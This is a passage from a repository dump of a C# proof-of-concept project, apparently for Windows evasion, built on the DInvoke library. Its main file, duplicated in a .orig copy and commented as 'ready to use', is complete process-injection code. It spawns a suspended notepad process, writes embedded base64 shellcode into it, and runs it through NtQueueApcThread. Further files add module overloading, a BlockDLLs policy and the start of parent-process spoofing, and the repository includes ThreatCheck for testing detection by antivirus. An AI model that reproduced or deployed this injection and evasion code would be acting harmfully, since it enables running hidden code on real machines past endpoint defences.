(IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; 122 | 123 | // Change permissions to RW 124 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE); 125 | 126 | // Zero out memory 127 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); 128 | 129 | // Overload module in memory 130 | Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); 131 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath; 132 | 133 | return OverloadedModuleMetaData; 134 | } 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/NoSpoofApproach.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Net.Configuration; 5 | using System.Reflection; 6 | using System.Runtime.InteropServices; 7 | using System.Threading; 8 | using DInvoke.Data; 9 | using DInvoke.DynamicInvoke; 10 | using Native = DInvoke.Data.Native; 11 | using Win32 = DInvoke.Data.Win32; 12 | 13 | namespace Dinvoke 14 | { 15 | 16 | public class TestQueueUserAPC 17 | { 18 | [DllImport("kernel32.dll")] 19 | public static extern bool CreateProcess( 20 | string lpApplicationName, 21 | string lpCommandLine, 22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, 23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, 24 | bool bInheritHandles, 25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, 26 | IntPtr lpEnvironment, 27 | string lpCurrentDirectory, 28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, 29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation); 30 | static void BackupMain(string[] args) 31 | { 32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc) 33 | 34 | //create process 35 | //allocate 36 | //write 37 | //protect 38 | //open thread 39 | //queue 40 | //resume 41 | 42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 43 | pa.nLength = (uint)Marshal.SizeOf(pa); 44 | 45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 46 | ta.nLength = (uint)Marshal.SizeOf(ta); 47 | 48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO(); 49 | 50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes, 51 | 52 | var createResult = (CreateProcess(null, 53 | @"C:\Windows\System32\notepad.exe", 54 | ref pa, ref ta, 55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, 56 | IntPtr.Zero, null, ref si, out var pi)); 57 | 58 | Console.WriteLine("NtAllocateVirtualMemory"); 59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult); 60 | Console.WriteLine(" | -> pi: {0}", pi); 61 | 62 | // ALLOCATE MEMORY 63 | var shellcodeRaw = 64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; 65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw); 66 | 67 | var hProcess = pi.hProcess; 68 | var baseAddress = IntPtr.Zero; 69 | var regionSize = new IntPtr(shellcodeBytes.Length); 70 | 71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT 72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE; 73 | 74 | var allocParameters = new object[] 75 | { 76 | hProcess, baseAddress, IntPtr.Zero, regionSize, 77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE 78 | }; 79 | 80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory", 81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters); 82 | 83 | if (allocStatus == Native.NTSTATUS.Success) 84 | baseAddress = (IntPtr)allocParameters[1]; 85 | 86 | Console.WriteLine("NtAllocateVirtualMemory"); 87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus); 88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64()); 89 | 90 | 91 | 92 | // WRITE MEMORY 93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length); 94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length); 95 | uint bytesWritten = 0; 96 | var writeParameters = new object[] 97 | { 98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten 99 | }; 100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory", 101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters); 102 | 103 | if (writeStatus == Native.NTSTATUS.Success) 104 | bytesWritten = (uint)writeParameters[4]; 105 | 106 | Console.WriteLine("NtWriteVirtualMemory"); 107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length); 108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus); 109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten); 110 | 111 | // READ/EXECUTE 112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ; 113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0; 114 | 115 | var protectParameters = new object[] 116 | { 117 | hProcess, baseAddress, regionSize, 118 | (uint) newProtect, (uint) oldProtect 119 | }; 120 | var protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", 121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters); 122 | 123 | if (protectStatus == Native.NTSTATUS.Success) 124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4]; 125 | 126 | Console.WriteLine("NtProtectVirtualMemory"); 127 | Console.WriteLine(" | -> newProtect: {0}", newProtect); 128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus); 129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect); 130 | 131 | // OPEN THREAD 132 | 133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's 134 | IntPtr threadHandle = IntPtr.Zero; 135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES(); 136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID(); 137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId }; 138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId; 139 | 140 | // Craft an array for the arguments 141 | object[] openThreadArgs = 142 | { 143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci 144 | }; 145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread", 146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs); 147 | 148 | Console.WriteLine("NtOpenThread"); 149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread); 150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus); 151 | 152 | 153 | // QUEUE USER APC 154 | 155 | // Craft an array for the arguments 156 | object[] funcargs = 157 | { 158 | pi.hThread, baseAddress, null, null, null 159 | }; 160 | 161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 162 | @"ntdll.dll", 163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs); 164 | Console.WriteLine("NtQueueApcThread"); 165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus); 166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress); 168 | 169 | 170 | // RESUME THREAD 171 | object[] resumeArgs = 172 | { 173 | pi.hThread, (UInt32)0 174 | }; 175 | 176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 177 | @"ntdll.dll", 178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread), 179 | ref resumeArgs); 180 | Console.WriteLine("NtAlertResumeThread"); 181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus); 182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 183 | //Thread.Sleep(30000); 184 | } 185 | } 186 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/NoSpoofApproach.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Net.Configuration; 5 | using System.Reflection; 6 | using System.Runtime.InteropServices; 7 | using System.Threading; 8 | using DInvoke.Data; 9 | using DInvoke.DynamicInvoke; 10 | using Native = DInvoke.Data.Native; 11 | using Win32 = DInvoke.Data.Win32; 12 | 13 | namespace Dinvoke 14 | { 15 | 16 | public class TestQueueUserAPC 17 | { 18 | [DllImport("kernel32.dll")] 19 | public static extern bool CreateProcess( 20 | string lpApplicationName, 21 | string lpCommandLine, 22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, 23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, 24 | bool bInheritHandles, 25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, 26 | IntPtr lpEnvironment, 27 | string lpCurrentDirectory, 28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, 29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation); 30 | static void BackupMain(string[] args) 31 | { 32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc) 33 | 34 | //create process 35 | //allocate 36 | //write 37 | //protect 38 | //open thread 39 | //queue 40 | //resume 41 | 42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 43 | pa.nLength = (uint)Marshal.SizeOf(pa); 44 | 45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 46 | ta.nLength = (uint)Marshal.SizeOf(ta); 47 | 48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO(); 49 | 50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes, 51 | 52 | var createResult = (CreateProcess(null, 53 | @"C:\Windows\System32\notepad.exe", 54 | ref pa, ref ta, 55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, 56 | IntPtr.Zero, null, ref si, out var pi)); 57 | 58 | Console.WriteLine("NtAllocateVirtualMemory"); 59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult); 60 | Console.WriteLine(" | -> pi: {0}", pi); 61 | 62 | // ALLOCATE MEMORY 63 | var shellcodeRaw = 64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; 65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw); 66 | 67 | var hProcess = pi.hProcess; 68 | var baseAddress = IntPtr.Zero; 69 | var regionSize = new IntPtr(shellcodeBytes.Length); 70 | 71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT 72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE; 73 | 74 | var allocParameters = new object[] 75 | { 76 | hProcess, baseAddress, IntPtr.Zero, regionSize, 77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE 78 | }; 79 | 80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory", 81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters); 82 | 83 | if (allocStatus == Native.NTSTATUS.Success) 84 | baseAddress = (IntPtr)allocParameters[1]; 85 | 86 | Console.WriteLine("NtAllocateVirtualMemory"); 87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus); 88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64()); 89 | 90 | 91 | 92 | // WRITE MEMORY 93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length); 94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length); 95 | uint bytesWritten = 0; 96 | var writeParameters = new object[] 97 | { 98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten 99 | }; 100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory", 101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters); 102 | 103 | if (writeStatus == Native.NTSTATUS.Success) 104 | bytesWritten = (uint)writeParameters[4]; 105 | 106 | Console.WriteLine("NtWriteVirtualMemory"); 107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length); 108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus); 109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten); 110 | 111 | // READ/EXECUTE 112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ; 113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0; 114 | 115 | var protectParameters = new object[] 116 | { 117 | hProcess, baseAddress, regionSize, 118 | (uint) newProtect, (uint) oldProtect 119 | }; 120 | var protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", 121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters); 122 | 123 | if (protectStatus == Native.NTSTATUS.Success) 124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4]; 125 | 126 | Console.WriteLine("NtProtectVirtualMemory"); 127 | Console.WriteLine(" | -> newProtect: {0}", newProtect); 128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus); 129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect); 130 | 131 | // OPEN THREAD 132 | 133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's 134 | IntPtr threadHandle = IntPtr.Zero; 135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES(); 136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID(); 137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId }; 138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId; 139 | 140 | // Craft an array for the arguments 141 | object[] openThreadArgs = 142 | { 143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci 144 | }; 145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread", 146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs); 147 | 148 | Console.WriteLine("NtOpenThread"); 149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread); 150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus); 151 | 152 | 153 | // QUEUE USER APC 154 | 155 | // Craft an array for the arguments 156 | object[] funcargs = 157 | { 158 | pi.hThread, baseAddress, null, null, null 159 | }; 160 | 161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 162 | @"ntdll.dll", 163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs); 164 | Console.WriteLine("NtQueueApcThread"); 165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus); 166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress); 168 | 169 | 170 | // RESUME THREAD 171 | object[] resumeArgs = 172 | { 173 | pi.hThread, (UInt32)0 174 | }; 175 | 176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 177 | @"ntdll.dll", 178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread), 179 | ref resumeArgs); 180 | Console.WriteLine("NtAlertResumeThread"); 181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus); 182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 183 | //Thread.Sleep(30000); 184 | } 185 | } 186 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DInvoke")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DInvoke")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b77fdab5-207c-4cdb-b1aa-348505c54229")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/SharedUtilities/Utilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography.X509Certificates; 3 | 4 | namespace DInvoke.Utilities 5 | { 6 | class Utilities 7 | { 8 | /// 9 | /// Checks that a file is signed and has a valid signature. 10 | /// 11 | /// Path of file to check. 12 | /// 13 | public static bool FileHasValidSignature(string FilePath) 14 | { 15 | X509Certificate2 FileCertificate; 16 | try 17 | { 18 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); 19 | FileCertificate = new X509Certificate2(signer); 20 | } 21 | catch 22 | { 23 | return false; 24 | } 25 | 26 | X509Chain CertificateChain = new X509Chain(); 27 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; 28 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; 29 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; 30 | 31 | return CertificateChain.Build(FileCertificate); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.pdb -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.pdb -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/CommandLine.dll -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.pdb -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/nuget.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/nuget.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | dffe443024c7c4e78b900c5b6665dd91b08b4fd4 2 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache 2 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache 3 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.pdb 4 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.pdb 5 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.exe 6 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.exe 7 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache 8 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache 9 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.pdb 10 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.pdb 11 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe.config 12 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe 13 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.exe 14 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.pdb -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/overloadMapping.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | 5 | using DInvoke.DynamicInvoke; 6 | 7 | namespace ConsoleApp1 8 | { 9 | class Program 10 | { 11 | static void Mapping(string[] args) 12 | { 13 | var si = new Win32.STARTUPINFOEX(); 14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si); 15 | si.StartupInfo.dwFlags = 0x00000001; 16 | 17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size); 18 | 19 | try 20 | { 21 | var funcParams = new object[] { 22 | IntPtr.Zero, 23 | 2, 24 | 0, 25 | IntPtr.Zero 26 | }; 27 | 28 | Generic.DynamicAPIInvoke( 29 | "kernel32.dll", 30 | "InitializeProcThreadAttributeList", 31 | typeof(InitializeProcThreadAttributeList), 32 | ref funcParams, 33 | true); 34 | 35 | var lpSize = (IntPtr)funcParams[3]; 36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize); 37 | 38 | funcParams[0] = si.lpAttributeList; 39 | 40 | Generic.DynamicAPIInvoke( 41 | "kernel32.dll", 42 | "InitializeProcThreadAttributeList", 43 | typeof(InitializeProcThreadAttributeList), 44 | ref funcParams, 45 | true); 46 | 47 | // BlockDLLs 48 | if (Is64Bit) 49 | { 50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)); 51 | } 52 | else 53 | { 54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); 55 | } 56 | 57 | funcParams = new object[] 58 | { 59 | si.lpAttributeList, 60 | (uint)0, 61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY, 62 | lpValue, 63 | (IntPtr)IntPtr.Size, 64 | IntPtr.Zero, 65 | IntPtr.Zero 66 | }; 67 | 68 | Generic.DynamicAPIInvoke( 69 | "kernel32.dll", 70 | "UpdateProcThreadAttribute", 71 | typeof(UpdateProcThreadAttribute), 72 | ref funcParams, 73 | true); 74 | 75 | // PPID 